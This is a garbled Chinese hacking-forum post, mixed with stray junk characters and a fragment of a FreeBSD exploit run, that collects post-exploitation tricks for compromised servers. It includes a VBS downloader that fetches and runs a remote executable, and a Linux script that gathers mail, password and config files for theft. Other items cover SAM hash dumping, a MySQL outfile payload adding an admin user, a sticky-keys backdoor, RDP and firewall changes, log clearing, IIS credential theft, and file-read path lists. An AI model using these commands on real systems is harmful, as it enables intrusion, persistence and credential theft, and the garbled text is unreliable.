8 V$ O5 G- Z4 v$ X, ]; d* S. ^7 Z[argp@julius ~]$ uname -rsi
& k* U# R2 [; W* w" h7 y4 }6 E2 a* freebsd 7.3-RELEASE GENERIC
7 f: D. y( b8 N6 ]5 U* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
- J- ]  q3 C2 z" P3 r$ I5 v; w* uid=1001(argp) gid=1001(argp) groups=1001(argp)
4 H; R& k5 n7 R0 I$ c* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
8 R8 w" \6 Q, M! y2 I. x) A* [argp@julius ~]$ ./nfs_mount_ex
*
; x& p8 r# ?6 ?' u2 A5 r$ Gcalling nmount()
; t: W" ^" o  O# i5 @6 U; p8 {
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
; d/ g! p  q7 x. v——————————————
/ K" I- ~+ n$ m  W! f7 w7 f6 S. B感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
  B3 Q% z8 ^2 c0 P$ a1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
- H4 V2 n' u' v1 h/ z1 j5 O注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
5 j! R; Z/ p& t4 T3 s6 x2 o若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
# C, b7 ?; k9 Y( Z9 y7 R1 z0 V3 d
提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
- K8 l0 U" z, K' Z命令行RAR打包~~·
$ G9 p/ b3 @4 E# d$ e) |  r) c: zrar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
1 ~/ o; R) S  t& l2、收集系统信息的脚本  
, g  D8 w, `* m9 ^! [# X+ [! xfor window：

! _2 B, N2 ?# C@echo off
echo #########system info collection
systeminfo
7 i6 r, t, v" x9 x( r/ A! sver
3 C5 A  a9 ~: Hhostname
net user
net localgroup
net localgroup administrators
% V1 L: j8 |% y! x/ Q; fnet user guest
net user administrator

: Q: U! F8 l& \6 decho #######at- with   atq#####
$ e0 V: M3 S: n, W# ?$ N# aecho schtask /query

echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
; T& |% R! }1 w4 x% w% J' Vipconfig/all
- R4 \- e5 r% U1 {: J0 Y7 ~. Droute print
arp -a
3 l2 s  }* A: u+ h  i3 `" tnetstat -anipconfig /displaydns
echo
) J2 I, V- g  W: Y+ zecho #######service############
sc query type= service state= all
3 T5 o/ Z; `* R$ y# lecho #######file-##############
7 B& k3 b! f* H2 [5 ~; j. y0 kcd \
tree -F
for linux：

#!/bin/bash
+ l2 t' ]- ~4 k) v  g  [( o+ ~
& n+ g3 [/ Q( |& Wecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
. h' ?+ ^% E+ m& p( B$ kecho
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
# G3 S' m5 \4 M4 S/ z
& Z0 R5 _  o1 R5 i3 D
echo 'u'r id is' `id`
echo ###atq&crontab#####
/ V6 I9 }, V# A6 O: J: e  U7 Matq
+ `& O$ M% [# ~$ v* u$ r7 V2 _crontab -l
echo #####about var#####
set
. l9 M5 `0 T5 z8 N/ R, Y2 q+ f
' G5 C- ]# _5 lecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
8 q& @5 g+ J' `1 Lcat /etc/hosts
1 E  F. H* E* D9 K; A0 T. g7 qhostname
ipconfig -a
, K, w& h6 |) E5 L2 parp -v
' k1 g; f4 r# z- N+ }0 t  hecho ########user####
cat /etc/passwd|grep -i sh

3 o& w6 b# K4 [0 P, H3 I) Wecho ######service####
5 D& h" F  \2 X; Uchkconfig --list
- |) V9 j! u- Q) x/ d0 q1 d  ^
for i in {oracle,mysql,tomcat,samba,apache,ftp}
7 m6 E) s9 q/ U+ z# ?cat /etc/passwd|grep -i $i
done
4 G# t, z5 Y: U# k" |' n
, G7 e+ Z0 E' i* A" mlocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
6 P: k, S; h0 asleep 5
8 E5 {: _4 ^7 R* Z; h+ Ylocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
  j  p0 E, q& s( W4 E0 d. b
% g/ v" ~% {  i###maybe can use "tree /"###
- R' n0 u  ^( }5 oecho ##packing up#########
8 B7 e6 ?# C0 V& e, c& r) ]4 s9 {4 ?: h( Xtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
' q; ]1 E! T) \) o3 s# v! k0 J3、ethash 不免杀怎么获取本机hash。
4 P9 f, ^6 D, y; `. k! s首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
: T. l0 p4 X* \( J$ I1 {               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
2 D+ t# U3 S! l/ e) C6 Q, ^" g接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
8 ]/ [9 Y  i: ]+ M5 Chash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
& L7 p, x. |3 u+ S8 o! S' c5 h- d4、vbs 下载者
. B# h. |8 Z$ X1
0 U. R" I9 e3 Aecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
  S/ w/ H$ a) {. G6 s3 V! O7 xecho sGet.Type = 1 >>c:\windows\cftmon.vbs
+ T; u' V% Q7 l/ ]& X, ^" h' ^  vecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
* g( {: g: v0 I; p& v% J* Qecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
) ?- g  P! P) x1 {$ m! Pecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
4 o) S9 z4 w  K3 f0 w* @4 `iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
9 P+ t! H0 z! U2 o7 F. ws1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
% l" M1 N( h6 O9 K' O$ RSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
+ |9 H0 ]* Z, N0 ]7 c5 [Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

6 \! S( i% n" B- s* N4 J, t+ ocscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

. _8 O# W9 M! L* j- r当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
- L+ `7 a1 C1 {) A5 ^/ L8 M——————————————————
' ]# F( t" P  H: D2 m2 E  i5、
4 h" Q  ?2 _  g% @: h! P8 Q1.查询终端端口
! u) |# @4 ?2 U; P) N- a( J) j# OREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
: }; [3 y$ p8 g$ ]& J7 c" MREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
' Y! @) F$ S) G  o. }. @4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
6 ?$ _6 e* k8 t4 v0 D' g6 r( q% b# [————————————————
+ F* g/ m0 Q* M5 n  R5 ~: S6、create table a (cmd text);
2 I" d( [( W  d" R- A$ ^7 H) minsert into a values ("set wshshell=createobject (""wscript.shell"")");
0 j; @  E7 u! h  Hinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
+ f- a0 b+ P% n0 Q5 cselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
( S7 C: t" {" _- r/ B! c7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
2 ^4 s% o; W- A_____
: N5 |  X( B5 q; V) @, ?0 x8、for /d %i in (d:\freehost\*) do @echo %i
2 Z$ h# [7 g1 l6 E3 X, j' M4 h2 u
列出d的所有目录
  
" o5 h5 c$ o8 E' Z( b5 S6 @  for /d %i in (???) do @echo %i
" @$ K' c7 f* N6 D
把当前路径下文件夹的名字只有1-3个字母的打出来
2 `  N! ?9 K7 O  E. i
2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
1 D$ y9 \; E5 f
3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
% s1 i2 h. q4 T. \3 i. {
2 N( j/ l/ Z; w7 N$ z4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
7 s* \+ Z1 f7 M: h0 h, ?* f8 P
  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

! Z8 O4 C2 R* Y& p; p6 k2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
3 `  d$ n. ~- E, y1 h& ?
9 U6 a* e' L0 J" Z( T) Z+ K3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
8 v3 o( _2 _) [# y: G
% n* Q5 Y6 H9 @. \5 S5 R4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
+ U3 Q; ?5 l( y5 i; g
5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

: y4 d3 v$ H& s* N7 l. s6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
& A6 C, [; y( d5 y9 G3 Jnetsh ipsec dynamic set config ipsecexempt value=0
* h$ S# C' F0 h+ Y6 b
. F+ Q- S6 Z' S  ?# N7.停止指派策略"myipsec":
, A; N6 K% [1 n% c- B0 H# h1 Q. V5 Pnetsh ipsec static set policy name="myipsec" assign=n
" y; H9 G6 \( u
8.系统口令恢复LM加密:
' z! c, ~" P& W6 Nreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
) g: v$ j7 ~! Q& jreg save hklm\security c:\security.hive

10.shift映像劫持
- k  q& ~/ Q8 l2 `/ L0 l4 Treg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
* v* S& e' S$ z! H5 z星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
) X' P6 H& C7 i; w( BFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
1 R# C' }+ t0 iif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
* ~8 Y* n- Q2 c6 Lexit for
# M3 U% J! |7 f. o6 bmsgbox("error!")
! L# w- ]+ f+ ^4 n" {) p' c4 vwscript.quit
5 K, X& I* z8 J/ M8 n4 q" |/ X) Uend if
) T7 {% v5 z0 W/ Jserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
) E% |  G) R+ Iset IISweb=iis.getobject("IIsWebVirtualDir","Root")
: A! k3 L6 R- `8 A4 Auser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
, h& V" ?% @/ g* Q2 }path=IIsWeb.path
! H& p' W& x7 x) X2 ^list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
4 p9 n0 S% D0 k# awscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
. k2 P5 F2 y- O4 b6 `4 m3 y3 r----------------------2011新气象，欢迎各位补充、指正、优化。----------------
* N. p- {" H: C, P6 n3 D1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
4 a# n7 W7 Y$ Z2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
$ Q5 n- w, Q$ Y, ePS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
& \) [; X0 z$ O9 F/ aasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
8 Y4 n2 ~5 T' X, @8 P: p2 C. B url=request.severvariables("url")
5 l) z5 z4 i0 H7 V 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
' \, b1 C& E9 j; k4 H5 k url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
LINUX常见路径：
. Z; M* O1 P! t  L' C8 q$ v; p; t
/etc/passwd
/etc/shadow
# R5 N6 \( |# W! y* z5 l6 ]6 R/etc/fstab
/etc/host.conf
* ~4 P+ U5 u2 ^: V+ i: a# H/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
3 ?3 a' P0 _% l& v+ v7 L$ p+ o/var/www/conf/httpd.conf
/var/www/htdocs/index.html
0 _8 y# p6 z) m& k( _' o/var/httpd/conf/php.ini
3 U, b7 F; h" X; W; U5 r/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
5 B: j5 H3 f  U3 Y/var/httpd/htdocs/index.html
4 s1 }$ V; G; w( _, y0 Q6 L- ~/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
0 S: @: J/ ~9 a  ]/usr/local/apache/htdocs/index.html
. N( r9 l9 M) M3 n  _/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
4 A* S6 x& E! J/usr/local/httpd2.2/htdocs/index.php
; U! e: U$ X( @* k/usr/local/httpd2.2/htdocs/index.html
5 F, t/ P/ r1 ]: k. D3 |" b/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
1 i# W- R" k; J' |4 h2 g/etc/httpd/htdocs/index.php
. F4 Y. G+ p1 c5 p& P/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
2 G) F( Z+ X3 A1 m/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
) b5 j) \& c  B  H# d" a; _/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
3 L1 V% z( W; ^( P2 d/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
. n+ ?. S  a: B5 M5 ?6 m# W# ?/etc/apache2/httpd.conf
6 V) G# C2 g1 j  {( i( W/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
- p& @5 Q( I/ Z$ W/etc/httpd/conf.d/php.conf
/ l) }$ ~8 `. Z8 U0 @6 a. C5 w9 z/etc/httpd/conf.d/httpd.conf
2 x; ]% W. O/ {) S/ V) w/ r4 K% p/etc/httpd/logs/error_log
5 X; W8 E5 l2 o% j( s; t2 a/etc/httpd/logs/error.log
& T3 b. i4 N' D; z. D. w/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/ d1 L+ _6 ]! i3 g6 T/home/apache/conf/httpd.conf
3 l6 E! X9 F# R3 b4 l; n) i/home/apache2/conf/httpd.conf
3 c+ n+ i- I1 }, |: ^6 {/var/log/apache/error_log
& Z* G0 ^* K0 [( X& `/var/log/apache/error.log
% N; o6 b% i5 c$ G$ }. A4 Z$ p  |/var/log/apache/access_log
" N% p9 X& s$ z6 p/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
2 n- T; @$ `/ m3 X6 Z" t/var/log/apache2/access.log
/ ]: B4 Y: k$ n; r  s3 d6 q1 ^/var/www/logs/error_log
/var/www/logs/error.log
: y5 [( c; A+ P( u& V, V6 \/var/www/logs/access_log
2 t" d" a# E5 K# U/ {/var/www/logs/access.log
7 k; v5 d# |5 C# G1 G2 W. \' |/usr/local/apache/logs/error_log
0 m9 A* W( j$ Q9 Y& R6 b5 F3 z/usr/local/apache/logs/error.log
, \1 M  |. l0 m$ [0 `' T/usr/local/apache/logs/access_log
, q2 v7 ]) I0 {6 l5 q) d/usr/local/apache/logs/access.log
/var/log/error_log
5 ^  |' D* W, P) e/var/log/error.log
8 d; d0 T" E; c" L# e5 H4 n5 m( r/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
  P1 O: _- L6 u# r# n/etc/init.d/httpd
; r! o7 P0 e- b1 f/etc/init.d/mysql
/etc/httpd/php.ini
; [+ A2 f, N( u2 |+ H/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
' p& O8 \' h; Z, D# ^6 v/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
9 h2 N( [" O8 S2 _/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
' ]/ s. A1 g. L/usr/local/php4/lib/php.ini
- r- K& ~+ |2 x/usr/local/php5/lib/php.ini
3 `, O4 k' Z- B! d& y/usr/local/php5/etc/php.ini
1 m- W" p( O; y) E' R$ ?2 S" a/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
) d* ]  o( X; q3 ?/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
& A5 x# t4 v0 d9 Z) `- v/usr/local/apache2/conf/php.ini
3 C$ z3 A- n) s8 i- e- x& H/etc/php4.4/fcgi/php.ini
1 w  n0 U+ ]( |. i4 M/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
. Y! i- E8 [# U0 o' ~' ^# L/etc/php/php.ini
& l5 x% y5 S" g. e/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
* s+ p* p6 s+ {( ^& O/usr/local/Zend/etc/php.ini
9 U( F# g: J5 t4 t- i/opt/xampp/etc/php.ini
8 c; X" z- d! Q+ P7 X8 F) k/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
6 N. r( P$ E  a% H( [/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
' j6 B! d& m+ c8 V' Z, r' v4 \5 V5 s/php4/php.ini
/ z, g9 j4 j/ h) @0 w( v/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
# y8 a5 t% f7 m7 \/xampp/apache/conf/httpd.conf
4 v/ o- @7 O* j9 X- i3 m2 {/NetServer/bin/stable/apache/php.ini
% S+ i% H! D) s" \9 ~/home2/bin/stable/apache/php.ini
. w# l' r, O0 y+ Y' ]/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
# }) f* }, q/ t* L; Y: N' X! M/var/log/mysqlderror.log
" t0 v4 l  k4 I) d3 Q" o/var/log/mysql/mysql.log
* e  a0 N0 G# N) w* b' [/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
  I# P. a$ Q. j% P, L/etc/mysql/my.cnf
/ h; r2 L% D$ d, C! Y, Q/etc/my.cnf
/usr/local/cpanel/logs
, J; `8 ^, R$ w) P$ y: r/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
. F1 Y7 I8 \! e; |/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
- J" B6 K) K9 f6 }; W% q/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
1 T. t4 ^% R0 D# A
$ \  O! g6 Y  D8 R! Y* |: r2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
, s% C, m5 E; U6 e
c:\windows\php.ini
2 e! a. j' ?* g& h$ F; u% `" T( zc:\boot.ini
c:\1.txt
c:\a.txt

6 i0 h5 I$ Q- U' G5 ^c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
/ Q% ~' }4 S5 v! ^" V# yc:\program files\CMailServer\WebMail\index.asp
+ M+ R* C% n9 oC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
+ C" \- o! F( r7 \# fC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

" z& J8 u$ z$ Ac:\hzhost\databases\url.asp

5 u, x5 ?  m$ P: X, tc:\hzhost\hzclient.exe
3 ?7 V5 y9 h8 ^1 EC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

7 Q* m, X! M/ u. c+ f. sC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
- Q; ?- t( `$ F5 OC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
" j( u1 H" B8 tc:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
6 ?( _1 z* B$ ^" gc:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
. i0 y; G: \$ Ec:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
, i. J2 N1 P$ T8 D" r; B3 ?c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
0 y0 ~& z0 m8 Y( Q! Hc:\web\default.asp
( W9 U* b, K) ^+ t* u7 C+ P) q( I* \" jc:\www\default.asp
c:\wwwsite\default.asp
; G7 e8 p* v0 w6 t* ?c:\WWWROOT\default.asp
c:\web\default.php
& y: ?, X6 z* D* ?( Rc:\www\default.php
5 g+ f% z  _7 z% G2 Nc:\WWWROOT\default.php
6 I7 E# R5 _% ~2 Y, zc:\WWWsite\default.php
$ O( U  E% v, r* O5 l% SC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
) ~" L( O* M0 M! Ic:\winnt\notepad.exe
  T: F. j! N' s# U: HC:\Program Files\Microsoft Office\OFFICE10\winword.exe
1 Y4 b' b9 y% ^# O. \C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
' k. _) @( P7 a0 H/ \. C4 ]  rC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
3 N! l- }( ~* \+ v- P. _C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
, Q. k# P" y+ h; |1 LC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
8 L: {: X2 `  V, J3 M: qC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
  G0 P7 M* z0 ?3 VC:\Documents and Settings\Administrator\My Documents\1.txt
( {% ]$ @! v( W0 hC:\Documents and Settings\Administrator\桌面\1.txt
- k! E% S' L. l9 LC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
4 h. [2 s6 ]& Y# G# k1 BC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
4 W; L. T& f% JC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
& `* i- n  v8 N% ^C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
2 J4 f* w% O& U4 V- v) @, iC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
2 a3 U0 {) B  a9 v; E" L) P* p. hC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
  D- ]" J2 q" M9 N' {+ _C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
9 s1 r: V: r$ q5 |$ w$ mC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
& x2 V( f: F; p: F* LC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
' e- j5 n4 ~# n4 j# I% h0 Ic:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
, |6 g7 F) a5 A  |9 T/ c1 mC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
/ E4 b' W8 p& E3 fC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
+ H# ]6 U8 q* }& pC:\WINDOWS\system32\inetsrv\MetaBase.xml
, ?  Y1 U2 G9 I, u( Y' lC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
5 Z( `/ ?! @# k" e( E# \$ B: JC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
# M; {% K' B4 O  v# Bc:\CMailServer\config.ini
- Q) j4 f1 ~; ac:\program files\CMailServer\config.ini
1 @' ~/ e/ \9 Vc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
- z2 ^6 `  Q! |1 [  d! C4 s3 _7 E. @( \C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
% \) [1 A" r- R) Gc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
* n) Y. a3 l* l  {5 [% R+ Wc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
